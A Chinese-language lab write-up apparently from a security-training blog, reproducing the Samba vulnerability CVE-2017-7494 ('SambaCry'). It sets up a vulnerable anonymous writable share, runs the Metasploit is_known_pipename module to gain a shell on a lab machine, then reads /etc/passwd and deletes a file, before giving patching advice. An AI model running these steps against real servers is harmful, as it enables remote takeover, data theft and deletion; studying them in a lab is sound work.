[漏洞復現] CVE-2017-7494 隱藏7年之久的Linux版"永恆之藍"出現了...

1、漏洞概述

哪一年才算是真正的「網路安全元年」?相信很多人會不約而同得出這個結果:2017年

在這一年頭裡,先是「WannaCry永恆之藍」橫空出世席捲全球,緊接著是NSA/CIA等核武器級網路軍火庫持續「失火」引起恐慌。

從操作系統到應用軟體,從Web容器到服務插件,各種0day漏洞應接不暇;之後又是數字貨幣熱潮帶來的挖礦程序蠕蟲爆發……

總之,2017年的互聯網安全,用「多災多難」來形容,最為不過。

當然,事物總有雙面性,有壞的一面,也有好的一面。

在歷史性經歷過這些安全大事件之後,上到國家,下至民眾,開始對這個行業投入更多關注。例如:

2017年6月,我國的《網路安全法》終於頒發;到了9月,由中央網信辦和教育部牽頭頒發了《關於加快網路安全學科建設和人才培養的意見》,並公布了首批7個一流網路安全學院建設示範項目,到現在我們就開始看到各大高等院校陸續開設了「信息安全專業」……

寫上面這段背景內容,無非想告訴大家:

2017年有重大意義,並且這一年出來的漏洞,能折騰的太多了!

這不,今天要講的這枚漏洞,跟WannaCry永恆之藍類似,同樣在17年5月爆發,同樣攻擊威力巨大並持續升級發酵,但在當時,確實被遠遠低估了。2017年5月24號,Samba官方發布4.6.4版本,聲明修復了一個嚴重漏洞(CVE-2017-7494),可以造成遠程代碼執行,運行Samba服務的Linux/Unix設備,可能會被直接getshell。 由於攻擊的對象主要是運行Linux/Unix系統的設備,當時無論是媒體還是普通小白,大部分注意力其實還是放在「WannaCry永恆之藍」上面。

而實際上,無論是黑帽還是白帽,大家都敏銳的嗅到:這枚漏洞的價值和攻擊威力,可能要比WannaCry高!

這裡簡單做個普及:我們日常辦公的電腦,主流是Windows操作系統;而平常上網訪問的「網站」,或者玩遊戲時登錄的「伺服器」,幾乎都是Linux操作系統。隨著「雲」的發展,大家已經習慣了將數據「雲端化」,例如,將個人資料存入網盤。這意味著:我們的隱私數據,例如個人照片、辦公文檔、網銀支付、遊戲存檔等,大部分存儲在這些Linux伺服器上面。

所以說,這枚漏洞後面被稱為「SambaCry」或者"Linux版WannaCry"毫不誇張。WannaCry能夠攻擊我們的Windows電腦,「SambaCry」則能夠攻擊存儲數據的Linux伺服器。簡單來說,一個是從前門進來的強盜,一個是從後院進來的小偷……

到了2017年中下旬直至現在,「比特幣」、「區塊鏈」、「糖果」等概念已經火的一塌塗地。雖然國家不斷介入監管,但是票圈天天被刷屏帶節奏,連小區樓下大媽討論的話題都逐漸從炒黃金變成了炒幣,很多人正式加入挖礦和炒幣大軍。

按照「錢在哪黑客就在哪」法則,很多黑客開始利用技術手段進行挖礦牟利。眾所周知,挖礦最最最重要的一點,就是要有足夠強勁的計算能力。因此,很多黑客開始把攻擊目標集中到伺服器,無論是遊戲、直播、媒體、電商、金融、政府等各行各業的伺服器,性能相比Windows桌面電腦,是其幾倍甚至數十倍以上。

而SambaCry這樣的0 day漏洞在這個時間節點上出現,簡直不能更及時。

例如,基於SambaCry進行二次研發的挖礦病毒例如「EternalMiner」陸續出現,當一台Linux伺服器被這樣的病毒入侵併控制之後,這類病毒會上傳挖礦程序,「吃光」伺服器的計算資源,執行「挖幣」。截止目前,互聯網上仍然有海量的沒有修復Samba漏洞的Linux設備正在持續運行著,成為名副其實的「挖礦肉雞」。

在傳統的黑產鏈條里,黑客入侵目標伺服器之後,需要獲取敏感數據,然後進行數據清洗,再拿去倒賣,整個變現鏈條非常長,並且匿名不夠好。而現在,「0 day漏洞 -> 拿下伺服器 -> 挖幣」,整個黑產變現鏈條被大大縮減,而且保證了匿名性。

漏洞原理:

Samba是在Linux或Unix系統上用來實現文件共享和列印服務的通信協議,也是很多家用的智能硬體設備例如NAS設備內置的協議,採用服務埠445。由於Samba內置函數is_known_pipename裡面出現字元過濾問題,導致攻擊者可以向共享目錄傳遞惡意文件,導致被遠程代碼執行。

參考鏈接:

  • cvedetails.com/cve/CVE-
  • samba.org/samba/securit

影響版本:

Samba 3.5.0 之後到4.6.4/4.5.10/4.4.14中間的所有版本。

滲透代碼:

關於此Samba漏洞的滲透利用代碼,最早發布的,便是鼎鼎大名的Metasploit創始人HD Moore。HD Moore出名,不僅僅在黑客和安全圈,在目前的幣圈也是一位傳奇,畢竟手握約40萬個比特幣,是世界上除了比特幣創始人中本聰之外,持幣量最多的人。就是這位「比你有錢又比你有才」的傳奇人物,他在Samba漏洞公告的第二天,也就是2017年5月25號,就在github上公布了針對此漏洞的exp代碼。當然,目前Metasploit框架也已經集成了這個exp代碼。

2、漏洞復現環境

Kali Linux 2018 <-> Kali Linux 2017

滲透機:Kali Linux 2018(ip:172.16.70.132)

靶機:Kali Linux 2017(ip:172.16.70.216)

註:你沒看錯,之前5個實驗裡面一直作為滲透機的Kali 2017,在今天這裡,卻要淪為「肉雞」。因為Kali 2017版本,內置的Samba版本剛好是沒有修復的,這剛好驗證了「沒有永恆的安全「,即便是黑客自己的電腦,也有被攻擊的一天。所以,這次漏洞復現實驗,我們拿最新的Kali 2018作為滲透機,來「降維」攻擊Kali 2017……

老規矩,為了節省大家實驗時間,我將此實驗涉及到的工具全部上傳到網盤,若之前下載過,則無需重複下載=>

鏈接: pan.baidu.com/s/177h1_s 密碼:ykzi

3、實驗流程

①進入Kali Linux 2017,查看Samba版本

root@kali:~# samba --version Version 4.5.8-Debian

可以看到此Samba版本在漏洞影響範圍內Samba 3.5.0 ~ 4.5.10,順便看下隔壁的Kali Linux 2018 =>

可以看到,2018版本已經將Samba更新到4.7,修復了漏洞。

②Kali Linux 2017裡面創建Samba共享目錄

創建共享目錄 root@kali:~# mkdir /tmp/public 修改讀寫執行許可權 root@kali:~# chmod 777 /tmp/public

這是SambaCry漏洞利用的前提,必須有一個共享目錄,這樣攻擊者就可以在這個共享目錄傳遞攻擊代碼並執行,獲取到Root許可權並控制肉雞。

③Kali Linux 2017 修改Samba配置文件

root@kali:~# vim /etc/samba/smb.conf

設置共享目錄名稱

[public]

設置共享目錄描述

comment = public

設置可瀏覽

browseable = yes

設置可寫

writeable = yes

設置共享目錄位置

path = /tmp/public

設置公開

public = yes

設置可讀寫

read only = no

添加共享目錄配置之後,保存退出。

④Kali Linux 2017 重啟/啟動Samba服務

重啟samba服務 root@kali:~# /etc/init.d/samba restart 查看samba進程 root@kali:~# ps aux | grep samba 查看samba埠狀態(採用139和445埠) root@kali:~# netstat -tnlp samba

⑤Kali Linux 2018 進入msf框架,使用SambaCry滲透模塊

進入msf root@kali:~# msfconsole 使用滲透模塊is_known_pipename msf > use exploit/linux/samba/is_known_pipename 查看模塊信息 msf exploit(linux/samba/is_known_pipename) > info

查看模塊選項 msf exploit(linux/samba/is_known_pipename) > show options

設置目標主機(即Kali 2017的IP地址) msf exploit(linux/samba/is_known_pipename) > set RHOST 172.16.70.216 執行滲透 msf exploit(linux/samba/is_known_pipename) > exploit

從上面截圖可以看到,此時Kali 2018通過執行滲透模塊,拿到了Kali 2017的shell。

⑥Kali Linux 2018 根據shell 對Kali Linux 2017進行控制操作

查看系統信息 uname -a 查看用戶組 id 查看當前用戶 whoami 查看當前目錄 pwd

查看系統密碼

cat /etc/passwd

查看當前目錄內容(默認在tmp目錄)

ls -l

切換到根目錄並查看內容

cd /root ls -l

刪除文件並再次查看目錄內容

rm ZqoimPyU.jpeg

註:這裡的圖片是我自己生成的,大家可以自行放置其他文件來測試。

實驗總結:

通過上面的操作可以看到,由於Kali 2017存在SambaCry漏洞,可以完全被Kali 2018控制,例如可以查看並刪除文件,徹底淪為「肉雞」。這裡給大家演示的是控制之後刪除文件,而在真實環境下,黑客控制了同樣具備此漏洞的伺服器,除了可以直接刪除伺服器數據(例如存儲在上面的核心用戶數據),還可以上傳「挖礦程序」,進一步控制其成為「挖礦肉雞」。

在這裡也提醒大家,尤其是網站或者伺服器運維人員,若設備突然間CPU或內存各項指標飆高,那很有可能因為類似的漏洞導致被控制,所以需要經常關注安全新聞,及時修復漏洞,將軟體升級到最新版本。

4、漏洞修復

①不要創建匿名共享目錄,即使創建了也不要給高許可權;

②Samba升級到最新版,或者打補丁:samba.org/


【了解更多】

知乎專欄:跟傑哥學網路與安全

新浪微博:@拼客學院陳鑫傑

微信公眾號:拼客院長陳鑫傑(搜索"pingsec"即可關注,大牛都在看)

拼客學院:pinginglab.net(專註網路|安全|運維的IT學院)

【相關文章】

網路安全入坑指南

[冇眼睇]揭秘地下色情誘導網站,上車吧!

拼客學院陳鑫傑:圖解ARP協議(三)ARP防禦篇-如何揪出"內鬼"並"優雅的還手"?

【視頻教程】

5天速成白帽子黑客

一周入門Linux運維


推薦閱讀:

快速致富之路:POS機攻擊原理分析
白帽賭城演講記:Trend, Tech, Team,還有打槍 (Blackhat篇 - 1)
從雅虎數據泄露事件看安全問題的安全性
Hydra - Password Crack Tool
鍵盤記錄器用法新姿勢:挖礦

TAG:黑客Hacker | 滲透測試 | 信息安全 |